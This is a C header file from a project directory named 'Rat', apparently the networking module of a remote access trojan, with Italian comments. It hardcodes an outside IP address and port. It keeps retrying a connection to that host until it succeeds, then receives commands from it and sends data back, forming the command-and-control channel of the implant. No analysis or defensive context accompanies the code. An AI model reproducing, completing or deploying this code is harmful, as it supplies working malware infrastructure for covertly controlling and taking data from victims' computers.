Rat/include/networking.h
2025-09-23 21:57:00 +02:00

101 lines
2.3 KiB
C

#ifndef NETWORKING_H
#define NETWORKING_H
#define IP "37.60.240.95"
#define PORT 6134
// Robe/costanti/struct ecc
struct sockaddr_in server;
// Fuznione che inizializza il socket e la connessione
void InitSocket(WSADATA* wsa, SOCKET* s){
// Ciclo inizializzazzione librerie di rete
WSAStartup(MAKEWORD(2,2),wsa);
(*s) = socket(AF_INET, SOCK_STREAM, 0);
// Ciclo di connessione al server
while(1){
// Setup prima della connessione
server.sin_addr.s_addr = inet_addr(IP);
server.sin_family = AF_INET;
server.sin_port = htons(PORT);
// Connessione
if(connect(*s, (struct sockaddr *)&server, sizeof(server)) != -1){
break;
}
Sleep(500);
}
}
int isSocketConnected(SOCKET s) {
if (s == INVALID_SOCKET) return 0;
fd_set readfds;
FD_ZERO(&readfds);
FD_SET(s, &readfds);
return (select(0, &readfds, NULL, NULL, 0) != SOCKET_ERROR);
}
void receiveCommand(WSADATA* wsa, SOCKET* s, uint8_t* receivebuffer) {
if (!isSocketConnected(*s)) {
printf("Socket non connesso, riconnessione necessaria\n");
closesocket(*s);
WSACleanup();
InitSocket(wsa, s);
return;
}
memset(receivebuffer, 0, 4096);
int bytes_received = recv(*s, receivebuffer, 4095, 0);
if (bytes_received == SOCKET_ERROR) {
int error = WSAGetLastError();
printf("Errore ricezione: %d - Riconnessione...\n", error);
closesocket(*s);
WSACleanup();
InitSocket(wsa, s);
} else if (bytes_received == 0) {
printf("Client disconnected normally\n");
closesocket(*s);
WSACleanup();
InitSocket(wsa, s);
} else {
receivebuffer[bytes_received] = '\0';
}
}
void sendCommand(WSADATA* wsa, SOCKET* s, char* sendbuffer) {
if (!isSocketConnected(*s)) {
printf("Socket non connesso, impossibile inviare\n");
closesocket(*s);
WSACleanup();
InitSocket(wsa, s);
return;
}
int length = strlen(sendbuffer);
int bytes_sent = send(*s, sendbuffer, length, 0);
if (bytes_sent == SOCKET_ERROR) {
int error = WSAGetLastError();
printf("Errore invio: %d - Riconnessione...\n", error);
closesocket(*s);
WSACleanup();
InitSocket(wsa, s);
}
}
#endif